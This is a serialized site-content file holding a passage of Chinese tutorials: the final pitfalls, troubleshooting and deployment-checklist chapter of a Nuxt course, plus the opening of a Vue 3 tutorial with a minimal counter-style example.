CSS\u002F字体未预加载",[63,16634,16635,16638,16641],{},[84,16636,16637],{},"每次导航都慢",[84,16639,16640],{},"payload 请求耗时",[84,16642,16643,16644,16646],{},"页面数据太大、",[22,16645,8392],{}," 没配",[63,16648,16649,16652,16655],{},[84,16650,16651],{},"列表长页面卡顿",[84,16653,16654],{},"渲染节点数",[84,16656,16657,16658,16660],{},"没裁剪、",[22,16659,8230],{}," 不稳定、无虚拟滚动",[63,16662,16663,16666,16672],{},[84,16664,16665],{},"构建变慢",[84,16667,16668,16671],{},[22,16669,16670],{},".nuxt"," 缓存、依赖数",[84,16673,16674],{},"barrel 文件、过多模块",[48,16676,16678],{"id":16677},"十五收尾坑汇总对照表与下一步","十五、收尾：坑汇总、对照表与下一步",[53,16680,16682],{"id":16681},"从-vue-到-nuxt只多了这几层","从 Vue 到 Nuxt：只多了这几层",[57,16684,16685,16698],{},[60,16686,16687],{},[63,16688,16689,16692,16695],{},[66,16690,16691],{},"Vue 3 里你写的",[66,16693,16694],{},"Nuxt 里的等价物",[66,16696,16697],{},"多出来的注意点",[79,16699,16700,16719,16741,16756,16773,16788,16807,16820,16839,16855,16872],{},[63,16701,16702,16707,16713],{},[84,16703,16704],{},[22,16705,16706],{},"createApp(App).use(router).mount('#app')",[84,16708,16709,16710,16712],{},"不存在了，",[22,16711,6961],{}," 就是根",[84,16714,16715,16716],{},"不要再手写 ",[22,16717,16718],{},"main.js",[63,16720,16721,16728,16735],{},[84,16722,16723,16725,16726],{},[22,16724,12243],{}," 数组 + ",[22,16727,4630],{},[84,16729,16730,16732,16733],{},[22,16731,4635],{}," 文件即路由 + ",[22,16734,6938],{},[84,16736,16737,16738,16740],{},"父组件要放 ",[22,16739,6938],{},"（第三章）",[63,16742,16743,16748,16753],{},[84,16744,16745],{},[22,16746,16747],{},"import X from '.\u002FX.vue'",[84,16749,16750,16752],{},[22,16751,4654],{}," 自动导入",[84,16754,16755],{},"目录前缀规则（第二章）",[63,16757,16758,16763,16767],{},[84,16759,16760,16762],{},[22,16761,5574],{}," 手动 import",[84,16764,16765,16752],{},[22,16766,4669],{},[84,16768,16769,16770],{},"命名必须 ",[22,16771,16772],{},"use*",[63,16774,16775,16780,16783],{},[84,16776,16777],{},[22,16778,16779],{},"useRoute\u002FuseRouter",[84,16781,16782],{},"一样可用",[84,16784,16785,16786],{},"跳转优先 ",[22,16787,6102],{},[63,16789,16790,16793,16801],{},[84,16791,16792],{},"手写 axios 实例",[84,16794,16795,1901,16797,1901,16799],{},[22,16796,5482],{},[22,16798,5485],{},[22,16800,8269],{},[84,16802,16803,16806],{},[17,16804,16805],{},"取数时机","（第五、六章）",[63,16808,16809,16811,16817],{},[84,16810,14199],{},[84,16812,16813,4809,16815],{},[22,16814,13960],{},[22,16816,5497],{},[84,16818,16819],{},"实例按请求创建（第十一章）",[63,16821,16822,16833,16836],{},[84,16823,16824,655,16827,655,16830],{},[22,16825,16826],{},"defineProps",[22,16828,16829],{},"defineEmits",[22,16831,16832],{},"defineModel",[84,16834,16835],{},"完全一样",[84,16837,16838],{},"无变化",[63,16840,16841,16847,16852],{},[84,16842,16843,16846],{},[22,16844,16845],{},"vue-tsc"," 类型检查",[84,16848,16849],{},[22,16850,16851],{},"nuxt typecheck",[84,16853,16854],{},"两份 tsconfig（app 与 server）",[63,16856,16857,16862,16866],{},[84,16858,16859,16860],{},"Vite ",[22,16861,15338],{},[84,16863,16864],{},[22,16865,4576],{},[84,16867,16868,16871],{},[17,16869,16870],{},"子路径部署的头号坑","（第十三章）",[63,16873,16874,16881,16887],{},[84,16875,16876,12247,16878,16880],{},[22,16877,15361],{},[22,16879,12837],{},"\u002Fmeta",[84,16882,16883,1901,16885],{},[22,16884,12632],{},[22,16886,5488],{},[84,16888,16889],{},"SSR 阶段必须同步调用（第十章）",[53,16891,16892],{"id":16892},"按症状找原因",[57,16894,16895,16907],{},[60,16896,16897],{},[63,16898,16899,16901,16904],{},[66,16900,4163],{},[66,16902,16903],{},"最可能的原因",[66,16905,16906],{},"详见",[79,16908,16909,16926,16939,16953,16964,16978,16991,17006,17019,17035,17047,17061,17072,17089,17102,17118,17130],{},[63,16910,16911,16918,16923],{},[84,16912,16913,16914,16917],{},"首屏白，源码里有 ",[22,16915,16916],{},"\u003Cdiv id=\"app\">"," 但没正文",[84,16919,16920,16922],{},[22,16921,4822],{}," 生效 \u002F 数据只在客户端取",[84,16924,16925],{},"九、五",[63,16927,16928,16931,16936],{},[84,16929,16930],{},"本地能跑，部署后资源 404、页面白屏",[84,16932,16933,16935],{},[22,16934,4576],{}," 与访问子路径不一致",[84,16937,16938],{},"十三（本站真实事故）",[63,16940,16941,16944,16950],{},[84,16942,16943],{},"刷新子页面 404",[84,16945,16946,16947,16949],{},"Nginx 缺 ",[22,16948,15488],{}," 回落；或该页没被预渲染",[84,16951,16952],{},"十三、九",[63,16954,16955,16958,16961],{},[84,16956,16957],{},"改了内容线上还是旧的",[84,16959,16960],{},"HTML\u002Fpayload 被缓存；或产物没重新拷贝",[84,16962,16963],{},"十三",[63,16965,16966,16970,16975],{},[84,16967,16968],{},[22,16969,5648],{},[84,16971,16972,16973],{},"没跑 ",[22,16974,5130],{},[84,16976,16977],{},"二",[63,16979,16980,16983,16988],{},[84,16981,16982],{},"页面空白、控制台没报错",[84,16984,16985,16986],{},"父页面漏 ",[22,16987,6938],{},[84,16989,16990],{},"三",[63,16992,16993,16998,17004],{},[84,16994,15081,16995,16997],{},[22,16996,5698],{}," 找不到",[84,16999,17000,17001,17003],{},"目录前缀（应为 ",[22,17002,5549],{},"）或路径大小写",[84,17005,16977],{},[63,17007,17008,17013,17016],{},[84,17009,17010,17011],{},"服务端报 ",[22,17012,8758],{},[84,17014,17015],{},"SSR 阶段访问了浏览器 API",[84,17017,17018],{},"五、十一",[63,17020,17021,17026,17032],{},[84,17022,17023,17024],{},"数据在服务端取到了但界面 ",[22,17025,5872],{},[84,17027,17028,17029,17031],{},"Nuxt 4 的 ",[22,17030,5854],{}," 缺失 \u002F payload 序列化失败",[84,17033,17034],{},"五",[63,17036,17037,17040,17045],{},[84,17038,17039],{},"同一份数据请求两次",[84,17041,17042,17043],{},"两处 key 不同（URL 参数变了）或用了 ",[22,17044,8395],{},[84,17046,17034],{},[63,17048,17049,17052,17058],{},[84,17050,17051],{},"切了筛选，列表数据不变",[84,17053,17054,17055,17057],{},"同路由只换 query 未触发重新请求（",[22,17056,5460],{}," 选项）",[84,17059,17060],{},"三、五",[63,17062,17063,17066,17069],{},[84,17064,17065],{},"两个用户数据串了",[84,17067,17068],{},"模块级可变单例 \u002F 插件里创建共享状态",[84,17070,17071],{},"十一、十二",[63,17073,17074,17077,17086],{},[84,17075,17076],{},"页面「闪一下」或 hydration 警告",[84,17078,17079,655,17082,17085],{},[22,17080,17081],{},"Date.now()",[22,17083,17084],{},"random","\u002FlocalStorage 进了模板",[84,17087,17088],{},"十四",[63,17090,17091,17096,17099],{},[84,17092,17093,17095],{},[22,17094,7427],{}," 样式全丢",[84,17097,17098],{},"它在布局之外",[84,17100,17101],{},"四",[63,17103,17104,17110,17115],{},[84,17105,17106,17109],{},[22,17107,17108],{},"sitemap.xml"," 里全是 localhost",[84,17111,17112,17114],{},[22,17113,12985],{}," 没改",[84,17116,17117],{},"十",[63,17119,17120,17123,17128],{},[84,17121,17122],{},"卡片分享没图",[84,17124,17125,17127],{},[22,17126,13418],{}," 不是绝对 URL",[84,17129,17117],{},[63,17131,17132,17135,17141],{},[84,17133,17134],{},"构建在 CI 失败、本地成功",[84,17136,17137,17138,17140],{},"大小写敏感、Node 版本、",[22,17139,5786],{}," 差异",[84,17142,17143],{},"二、十三",[53,17145,17146],{"id":17146},"上线核对清单",[57,17148,17149,17160],{},[60,17150,17151],{},[63,17152,17153,17155,17157],{},[66,17154,5438],{},[66,17156,4051],{},[66,17158,17159],{},"不做的后果",[79,17161,17162,17174,17186,17198,17212,17230,17245,17266,17280,17293,17314,17327,17344],{},[63,17163,17164,17166,17171],{},[84,17165,11978],{},[84,17167,17168,17170],{},[22,17169,4576],{}," = 真实访问前缀（含首尾斜杠）",[84,17172,17173],{},"白屏 + 资源 404",[63,17175,17176,17178,17183],{},[84,17177,11978],{},[84,17179,17180,17182],{},[22,17181,12985],{}," 是真实域名",[84,17184,17185],{},"sitemap\u002Fog 指向 localhost",[63,17187,17188,17190,17195],{},[84,17189,11978],{},[84,17191,17192,17194],{},[22,17193,5786],{}," 显式设定",[84,17196,17197],{},"升级后行为漂移",[63,17199,17200,17203,17209],{},[84,17201,17202],{},"渲染",[84,17204,17205,17206,17208],{},"每个路径的模式与预期一致（",[22,17207,4586],{}," 顺序检查过）",[84,17210,17211],{},"空壳被预渲染 \u002F SEO 归零",[63,17213,17214,17217,17227],{},[84,17215,17216],{},"数据",[84,17218,17219,17220,17222,17223,5160,17225],{},"首屏数据用 ",[22,17221,9806],{},"，且配了 ",[22,17224,5854],{},[22,17226,8787],{},[84,17228,17229],{},"正文缺失、payload 巨大",[63,17231,17232,17234,17242],{},[84,17233,17216],{},[84,17235,17236,17237,17239,17240],{},"需要密钥的请求走 ",[22,17238,8836],{}," 代理，密钥不在 ",[22,17241,11501],{},[84,17243,17244],{},"密钥泄露",[63,17246,17247,17250,17263],{},[84,17248,17249],{},"路由",[84,17251,17252,17253,17255,17256,17258,17259,17262],{},"无用的 ",[22,17254,3878],{}," 不在 ",[22,17257,4842],{}," 下；404 由 ",[22,17260,17261],{},"createError"," 抛出",[84,17264,17265],{},"脏路由、软 404",[63,17267,17268,17271,17277],{},[84,17269,17270],{},"SEO",[84,17272,17273,17274,17276],{},"每页 title\u002Fdescription 由 SSR 输出；",[22,17275,15975],{}," 验证过",[84,17278,17279],{},"索引不到、卡片空白",[63,17281,17282,17285,17290],{},[84,17283,17284],{},"生成",[84,17286,17287,17289],{},[22,17288,12239],{}," 覆盖所有不可爬到的页面",[84,17291,17292],{},"generate 后 404",[63,17294,17295,17298,17311],{},[84,17296,17297],{},"服务器",[84,17299,17300,17302,17303,17306,17307,17310],{},[22,17301,15488],{}," 回落地址带子路径；HTML ",[22,17304,17305],{},"no-cache","；",[22,17308,17309],{},"_nuxt"," 长缓存",[84,17312,17313],{},"刷新 404、内容不更新",[63,17315,17316,17318,17324],{},[84,17317,17297],{},[84,17319,17320,17323],{},[22,17321,17322],{},"error_page 404"," 指向预渲染的 404，状态码真的是 404",[84,17325,17326],{},"软 404 有害 SEO",[63,17328,17329,17332,17341],{},[84,17330,17331],{},"安全",[84,17333,17334,17336,17337,17340],{},[22,17335,11149],{}," 未入库；产物 ",[22,17338,17339],{},"grep"," 过密钥；sourcemap 关闭",[84,17342,17343],{},"泄露源码与密钥",[63,17345,17346,17349,17357],{},[84,17347,17348],{},"验证",[84,17350,17351,17353,17354,17356],{},[22,17352,4569],{}," + 真目录部署跑过一遍；",[22,17355,16557],{}," 看过体积",[84,17358,17359],{},"把「能构建」当「能上线」",[53,17361,17362],{"id":17362},"下一步",[1659,17364,17365,17385,17396,17410,17428],{},[1662,17366,17367,322,17370,17372,17373,17376,17377,17380,17381,17384],{},[17,17368,17369],{},"补服务端能力",[22,17371,8836],{}," 之外还有定时任务（",[22,17374,17375],{},"nitro: { scheduledTasks }","）、WebSocket（",[22,17378,17379],{},"defineWebSocketHandler","）、存储抽象（",[22,17382,17383],{},"useStorage","，本站用它管内容）。关键词：Nitro 文档的 Deployment 与 Storage 两节。",[1662,17386,17387,322,17390,17393,17394,161],{},[17,17388,17389],{},"内容型站点",[22,17391,17392],{},"@nuxt\u002Fcontent"," v3（集合 + SQLite 索引，本站教程栏目就是它驱动的）；配图与响应式图片用 ",[22,17395,16108],{},[1662,17397,17398,17401,17402,272,17404,272,17406,17409],{},[17,17399,17400],{},"交互复杂度上来后","：把本教程第五章的 ",[22,17403,9066],{},[22,17405,9017],{},[22,17407,17408],{},"refreshNuxtData"," 玩熟，再评估要不要 TanStack Query。",[1662,17411,17412,322,17415,17418,17419,17421,17422,17424,17425,17427],{},[17,17413,17414],{},"测试与质量",[22,17416,17417],{},"@nuxt\u002Ftest-utils","（e2e + 渲染测试）、",[22,17420,16851],{},"、CI 里跑一次 ",[22,17423,12235],{}," 并 ",[22,17426,12407],{}," 抽查 404 状态码。",[1662,17429,17430,17433],{},[17,17431,17432],{},"原理补两页","：Nuxt 文档的「Rendering Modes」与「Best Practices」；水合与 payload 的机制看懂后，第九章和第十四章的所有坑都能自己推出来。",[11,17435,17436,17437,17440],{},"Nuxt 带来的全部复杂度，其实只有一句话：",[17,17438,17439],{},"同一份组件代码，可能在服务器上跑，也可能在浏览器里跑，还可能两边各跑一次。"," 写每一行代码时问自己「这段在服务端跑会怎样」，这门课的所有坑就都成了可预测的事。",[595,17442,17443],{},"html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}html pre.shiki code .s6RL2, html code.shiki .s6RL2{--shiki-default:#FDAEB7;--shiki-default-font-style:italic}",{"title":314,"searchDepth":341,"depth":341,"links":17445},[17446,17452,17462,17473,17484,17500,17510,17519,17527,17536,17547,17556,17563,17573,17581],{"id":4594,"depth":341,"text":4595,"children":17447},[17448,17449,17450,17451],{"id":4709,"depth":357,"text":4710},{"id":4762,"depth":357,"text":4763},{"id":4795,"depth":357,"text":4796},{"id":4859,"depth":357,"text":4860},{"id":4947,"depth":341,"text":4948,"children":17453},[17454,17455,17457,17459,17460,17461],{"id":4951,"depth":357,"text":4951},{"id":5145,"depth":357,"text":17456},"目录约定（Nuxt 4：源码进 app\u002F）",{"id":5196,"depth":357,"text":17458},"nuxt.config.ts 的最小可用版",{"id":5418,"depth":357,"text":5419},{"id":5640,"depth":357,"text":4796},{"id":5791,"depth":357,"text":5792},{"id":5939,"depth":341,"text":5940,"children":17463},[17464,17465,17467,17469,17471,17472],{"id":5958,"depth":357,"text":5958},{"id":5979,"depth":357,"text":17466},"嵌套页面：父组件里要写 \u003CNuxtPage \u002F>",{"id":6095,"depth":357,"text":17468},"导航：\u003CNuxtLink> 与 navigateTo()",{"id":6400,"depth":357,"text":17470},"页面级配置：definePageMeta",{"id":6605,"depth":357,"text":4796},{"id":6777,"depth":357,"text":6778},{"id":6941,"depth":341,"text":6942,"children":17474},[17475,17476,17478,17479,17481,17482,17483],{"id":6955,"depth":357,"text":6955},{"id":7212,"depth":357,"text":17477},"错误页：app\u002Ferror.vue",{"id":7450,"depth":357,"text":7450},{"id":7525,"depth":357,"text":17480},"加载态：\u003CNuxtLoadingIndicator>",{"id":7606,"depth":357,"text":7607},{"id":7628,"depth":357,"text":4796},{"id":7743,"depth":357,"text":7744},{"id":7883,"depth":341,"text":17485,"children":17486},"五、数据获取：useFetch 与 useAsyncData",[17487,17489,17491,17492,17494,17496,17498,17499],{"id":7898,"depth":357,"text":17488},"为什么不能用 onMounted + fetch",{"id":8183,"depth":357,"text":17490},"useFetch 与 useAsyncData 的分工",{"id":8296,"depth":357,"text":8297},{"id":8388,"depth":357,"text":17493},"客户端才想要的数据：lazy、server: false、immediate",{"id":8575,"depth":357,"text":17495},"给数据一个 default，少写一层判空",{"id":8652,"depth":357,"text":17497},"一次性副作用：callOnce",{"id":8718,"depth":357,"text":4796},{"id":8883,"depth":357,"text":8884},{"id":9121,"depth":341,"text":17501,"children":17502},"六、$fetch：底层请求函数与它的 baseURL",[17503,17504,17505,17507,17508],{"id":9515,"depth":357,"text":9516},{"id":9709,"depth":357,"text":9710},{"id":9777,"depth":357,"text":17506},"useFetch 与 $fetch 的取舍",{"id":9858,"depth":357,"text":4796},{"id":9979,"depth":357,"text":17509},"附：$fetch 错误对象形状",{"id":10070,"depth":341,"text":17511,"children":17512},"七、服务端引擎 Nitro：server\u002F 里的文件就是接口",[17513,17514,17515,17516,17517,17518],{"id":10088,"depth":357,"text":10088},{"id":10385,"depth":357,"text":10386},{"id":10673,"depth":357,"text":10673},{"id":10742,"depth":357,"text":10742},{"id":10769,"depth":357,"text":4796},{"id":10959,"depth":357,"text":10960},{"id":11137,"depth":341,"text":17520,"children":17521},"八、运行时配置与环境变量：runtimeConfig",[17522,17523,17524,17525,17526],{"id":11152,"depth":357,"text":11153},{"id":11309,"depth":357,"text":11309},{"id":11417,"depth":357,"text":11417},{"id":11493,"depth":357,"text":4796},{"id":11649,"depth":357,"text":11650},{"id":11770,"depth":341,"text":17528,"children":17529},"九、渲染模式与 routeRules：同一站点里不同页面用不同策略",[17530,17531,17532,17533,17534],{"id":11786,"depth":357,"text":11786},{"id":12086,"depth":357,"text":12087},{"id":12163,"depth":357,"text":12164},{"id":12191,"depth":357,"text":4796},{"id":12437,"depth":357,"text":17535},"附：routeRules 常用字段",{"id":12617,"depth":341,"text":12618,"children":17537},[17538,17540,17542,17543,17544,17545,17546],{"id":12628,"depth":357,"text":17539},"标题与描述：useSeoMeta",{"id":12857,"depth":357,"text":17541},"全站默认值放在 app.vue 或配置里",{"id":13003,"depth":357,"text":13004},{"id":13120,"depth":357,"text":13121},{"id":13262,"depth":357,"text":13263},{"id":13368,"depth":357,"text":4796},{"id":13483,"depth":357,"text":13484},{"id":13566,"depth":341,"text":17548,"children":17549},"十一、状态共享：useState 与 Pinia",[17550,17552,17553,17554,17555],{"id":13580,"depth":357,"text":17551},"先试 useState：SSR 安全的极简共享状态",{"id":13672,"depth":357,"text":13673},{"id":13949,"depth":357,"text":13950},{"id":14070,"depth":357,"text":4796},{"id":14169,"depth":357,"text":14170},{"id":14256,"depth":341,"text":14257,"children":17557},[17558,17559,17560,17561,17562],{"id":14341,"depth":357,"text":14341},{"id":14563,"depth":357,"text":14564},{"id":14818,"depth":357,"text":14818},{"id":14902,"depth":357,"text":4796},{"id":15035,"depth":357,"text":15036},{"id":15127,"depth":341,"text":15128,"children":17564},[17565,17566,17567,17568,17570,17571,17572],{"id":15142,"depth":357,"text":15142},{"id":15233,"depth":357,"text":15233},{"id":15373,"depth":357,"text":15374},{"id":15529,"depth":357,"text":17569},"服务端模式部署（nuxt build）",{"id":15632,"depth":357,"text":15632},{"id":15719,"depth":357,"text":4796},{"id":15825,"depth":357,"text":15826},{"id":15924,"depth":341,"text":15925,"children":17574},[17575,17576,17577,17578,17579,17580],{"id":15931,"depth":357,"text":15931},{"id":16031,"depth":357,"text":16032},{"id":16213,"depth":357,"text":16213},{"id":16338,"depth":357,"text":16339},{"id":16464,"depth":357,"text":4796},{"id":16578,"depth":357,"text":16579},{"id":16677,"depth":341,"text":16678,"children":17582},[17583,17584,17585,17586],{"id":16681,"depth":357,"text":16682},{"id":16892,"depth":357,"text":16892},{"id":17146,"depth":357,"text":17146},{"id":17362,"depth":357,"text":17362},"nuxt","\u002Fimg\u002Fnuxt-cover.svg","2026-10-16","零基础入门 Nuxt：目录约定、文件路由、useFetch 与水合、Nitro 服务端接口、渲染模式与 routeRules、静态部署与子路径 baseURL，15 章循序渐进，每章配可运行示例，末章汇总常见坑。",{},"\u002Ftutorials\u002Fnuxt",{"title":4558,"description":17590},{"loc":17592},"tutorials\u002Fnuxt","IEa399YVyvsTqb4iIFTF7_XF8X8OSwBO0Cf0VKhuvJQ",{"id":17598,"title":17599,"body":17600,"category":36565,"cover":36566,"date":17589,"description":36567,"extension":4549,"meta":36568,"navigation":997,"path":36569,"seo":36570,"sitemap":36571,"stem":36572,"__hash__":36573},"tutorials\u002Ftutorials\u002Fvue3.md","Vue 3 教程：从第一个组件到工程化实战",{"type":8,"value":17601,"toc":36407},[17602,17605,17622,17626,17629,17636,17639,17698,17702,17705,17832,17838,17921,17937,17941,17965,18125,18132,18141,18274,18298,18303,18310,18312,18341,18363,18379,18393,18414,18437,18441,18565,18569,18579,18590,18718,18731,18741,18747,18851,18854,18900,18904,18928,18975,18985,18988,19011,19032,19099,19117,19121,19123,19138,19151,19166,19180,19204,19225,19239,19243,19472,19476,19483,19503,19536,19545,19625,19639,19643,19870,19873,19899,19903,19906,19984,20021,20047,20051,20067,20069,20083,20120,20134,20140,20154,20173,20191,20195,20389,20513,20517,20535,20539,20672,20675,20707,20760,20764,20821,20826,20843,20864,20879,20897,20913,20916,21038,21051,21055,21074,21076,21099,21118,21134,21144,21167,21193,21209,21213,21415,21419,21434,21438,21615,21627,21636,21640,21746,21752,21756,21982,22013,22017,22102,22114,22118,22121,22123,22142,22165,22192,22209,22229,22241,22255,22271,22275,22359,22437,22441,22453,22460,22573,22593,22632,22639,22816,22826,22830,22853,22971,23060,23089,23093,23452,23475,23479,23481,23505,23526,23546,23571,23589,23604,23618,23638,23642,23802,23806,23809,23813,23965,23972,23976,24088,24113,24117,24176,24187,24192,24194,24217,24230,24245,24259,24282,24298,24324,24328,24424,24428,24435,24438,24566,24579,24583,24654,24664,24667,24783,24793,24806,24892,24895,24953,24957,24960,24962,24974,24997,25017,25030,25048,25059,25071,25075,25146,25150,25157,25161,25306,25320,25323,25391,25395,25504,25514,25518,25686,25703,25707,25719,25878,25883,25973,25979,25996,26049,26053,26064,26066,26082,26111,26128,26146,26162,26174,26194,26210,26224,26228,26337,26341,26344,26347,26540,26556,26560,26569,26809,26812,26819,26864,26881,26892,26896,26903,26905,26923,26929,26940,26950,26960,26970,26983,26987,27122,27126,27134,27137,27381,27401,27405,27437,27440,27444,27481,27494,27680,27683,27686,27775,27780,27782,27794,27805,27820,27837,27850,27860,27873,27886,27890,27991,27995,28001,28004,28190,28208,28234,28240,28312,28324,28328,28454,28457,28514,28518,28524,28526,28552,28564,28583,28598,28615,28624,28650,28654,28792,28796,28799,28803,29076,29087,29094,29098,29110,29253,29479,29482,29563,29566,29612,29616,29618,29633,29650,29669,29683,29697,29703,29722,29726,29813,29817,29820,29827,29996,30009,30013,30065,30085,30130,30142,30149,30231,30245,30253,30332,30345,30349,30361,30363,30380,30391,30404,30424,30440,30449,30457,30473,30477,30560,30564,30571,30574,30577,30593,30666,30812,30918,30924,31047,31138,31142,31157,31227,31242,31245,31260,31263,31276,31299,31311,31325,31333,31349,31355,31364,31373,31377,31450,31454,31461,31464,31478,31815,31865,31976,31980,32051,32058,32061,32221,32232,32257,32261,32452,32472,32477,32483,32486,32510,32535,32557,32574,32584,32590,32602,32622,32638,32642,32835,32839,32842,32846,32896,32902,32906,33617,33641,33645,33652,34072,34075,34380,34387,34391,34394,34646,34652,34655,34752,34756,34780,34784,34794,34798,34871,34894,34897,34903,34915,34918,35045,35058,35062,35226,35247,35255,35285,35358,35375,35379,35389,35423,35426,35455,35497,35501,35749,35752,35755,35767,35782,35796,35811,35826,35837,35854,35865,35869,35982,35986,35989,35991,36228,36231,36355,36358,36361,36397,36404],[11,17603,17604],{},"这门课的顺序是「先能跑，再讲透」：第一到第七章过完模板与响应式这些语法地基，第八到第十一章讲组件之间怎么配合，第十二到第十四章处理生命周期与逻辑复用，第十五、十六章把状态和路由接上，第十七章做一个完整的待办清单，最后两章回到工程化与坑的汇总。每一章结尾都有「⚠️ 本章的坑」和速查表，日后当参考书查就直接翻这两块。",[11,17606,17607,17608,17611,17612,17614,17615,17617,17618,17621],{},"关于版本：本教程基于 ",[17,17609,17610],{},"Vue 3.5","（示例里的运行时是 3.5.43）。页面里的示例用的是「不带构建工具」的引入方式（一个 ",[22,17613,14082],{}," 标签 + 模板字符串），因为它能直接在浏览器里跑起来；实际项目里写的是单文件组件（",[22,17616,3878],{},"），两者的对应关系在第十八章专门列了一张表。",[17,17619,17620],{},"语法本身是同一套","，只是挂载方式不同。",[48,17623,17625],{"id":17624},"一vue-是什么从手动改-dom-到声明式渲染","一、Vue 是什么：从手动改 DOM 到声明式渲染",[11,17627,17628],{},"写页面时最累的不是画布局，而是「数据变了要记得改界面」。手动改 DOM 的写法，数据和界面是两份东西，改一处漏一处，界面就和真实状态对不上了。",[11,17630,17631,17632,17635],{},"Vue 解决的就是这件事：你只描述「界面在给定数据下应该长什么样」，数据一变，Vue 自己算出该改哪几个节点。",[17,17633,17634],{},"响应式 + 模板","这两件事合起来就是 Vue 的全部核心，后面的组件、路由、状态管理都是在此基础上做组织。",[11,17637,17638],{},"它自称「渐进式框架」，意思是你可以只借用其中一小块：",[57,17640,17641,17653],{},[60,17642,17643],{},[63,17644,17645,17648,17651],{},[66,17646,17647],{},"用法",[66,17649,17650],{},"引入方式",[66,17652,11987],{},[79,17654,17655,17669,17687],{},[63,17656,17657,17660,17666],{},[84,17658,17659],{},"在已有 HTML 里增强",[84,17661,17662,17663,17665],{},"一个 ",[22,17664,14082],{}," 标签引入全局构建，页面里直接写模板",[84,17667,17668],{},"后台管理页的某个表单、老项目加个交互组件",[63,17670,17671,17674,17684],{},[84,17672,17673],{},"单文件组件（最常见）",[84,17675,17676,17677,17680,17681,17683],{},"Vite + ",[22,17678,17679],{},"npm create vue@latest","，代码写在 ",[22,17682,3878],{}," 文件里",[84,17685,17686],{},"独立的前端项目",[63,17688,17689,17692,17695],{},[84,17690,17691],{},"全栈框架",[84,17693,17694],{},"Nuxt（本项目的姊妹篇教程）",[84,17696,17697],{},"需要 SEO、首屏速度、服务端渲染的站点",[53,17699,17701],{"id":17700},"第一个例子三种写法对照","第一个例子：三种写法对照",[11,17703,17704],{},"浏览器里跑起来的最小写法，页面里先放一个容器，再挂一个应用：",[308,17706,17708],{"className":485,"code":17707,"language":487,"meta":314,"style":314},"\u003Cdiv id=\"app\">{{ message }}\u003C\u002Fdiv>\n\n\u003Cscript src=\"https:\u002F\u002Funpkg.com\u002Fvue@3\u002Fdist\u002Fvue.global.js\">\u003C\u002Fscript>\n\u003Cscript>\n  Vue.createApp({\n    setup() {\n      const message = Vue.ref('你好，Vue')\n      return { message }\n    }\n  }).mount('#app')\n\u003C\u002Fscript>\n",[22,17709,17710,17730,17734,17753,17761,17771,17778,17798,17805,17809,17824],{"__ignoreMap":314},[331,17711,17712,17714,17716,17718,17720,17723,17726,17728],{"class":333,"line":334},[331,17713,510],{"class":337},[331,17715,6021],{"class":497},[331,17717,827],{"class":501},[331,17719,518],{"class":337},[331,17721,17722],{"class":365},"\"app\"",[331,17724,17725],{"class":337},">{{ message }}\u003C\u002F",[331,17727,6021],{"class":497},[331,17729,505],{"class":337},[331,17731,17732],{"class":333,"line":341},[331,17733,998],{"emptyLinePlaceholder":997},[331,17735,17736,17738,17740,17742,17744,17747,17749,17751],{"class":333,"line":357},[331,17737,510],{"class":337},[331,17739,891],{"class":497},[331,17741,894],{"class":501},[331,17743,518],{"class":337},[331,17745,17746],{"class":365},"\"https:\u002F\u002Funpkg.com\u002Fvue@3\u002Fdist\u002Fvue.global.js\"",[331,17748,902],{"class":337},[331,17750,891],{"class":497},[331,17752,505],{"class":337},[331,17754,17755,17757,17759],{"class":333,"line":371},[331,17756,510],{"class":337},[331,17758,891],{"class":497},[331,17760,505],{"class":337},[331,17762,17763,17766,17769],{"class":333,"line":384},[331,17764,17765],{"class":337},"  Vue.",[331,17767,17768],{"class":501},"createApp",[331,17770,1250],{"class":337},[331,17772,17773,17776],{"class":333,"line":397},[331,17774,17775],{"class":501},"    setup",[331,17777,1072],{"class":337},[331,17779,17780,17782,17784,17786,17789,17791,17793,17796],{"class":333,"line":418},[331,17781,12340],{"class":616},[331,17783,2981],{"class":344},[331,17785,957],{"class":616},[331,17787,17788],{"class":337}," Vue.",[331,17790,4778],{"class":501},[331,17792,966],{"class":337},[331,17794,17795],{"class":365},"'你好，Vue'",[331,17797,972],{"class":337},[331,17799,17800,17802],{"class":333,"line":427},[331,17801,12364],{"class":616},[331,17803,17804],{"class":337}," { message }\n",[331,17806,17807],{"class":333,"line":439},[331,17808,1229],{"class":337},[331,17810,17811,17814,17817,17819,17822],{"class":333,"line":450},[331,17812,17813],{"class":337},"  }).",[331,17815,17816],{"class":501},"mount",[331,17818,966],{"class":337},[331,17820,17821],{"class":365},"'#app'",[331,17823,972],{"class":337},[331,17825,17826,17828,17830],{"class":333,"line":456},[331,17827,788],{"class":337},[331,17829,891],{"class":497},[331,17831,505],{"class":337},[11,17833,17834,17835,17837],{},"同一个例子写成单文件组件（",[22,17836,3878],{},"），就是实际项目里的样子：",[308,17839,17841],{"className":5996,"code":17840,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\nimport { ref } from 'vue'\nconst message = ref('你好，Vue')\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cdiv>{{ message }}\u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[22,17842,17843,17853,17865,17881,17889,17893,17901,17913],{"__ignoreMap":314},[331,17844,17845,17847,17849,17851],{"class":333,"line":334},[331,17846,510],{"class":337},[331,17848,891],{"class":497},[331,17850,6299],{"class":501},[331,17852,505],{"class":337},[331,17854,17855,17857,17860,17862],{"class":333,"line":341},[331,17856,4648],{"class":616},[331,17858,17859],{"class":337}," { ref } ",[331,17861,13735],{"class":616},[331,17863,17864],{"class":365}," 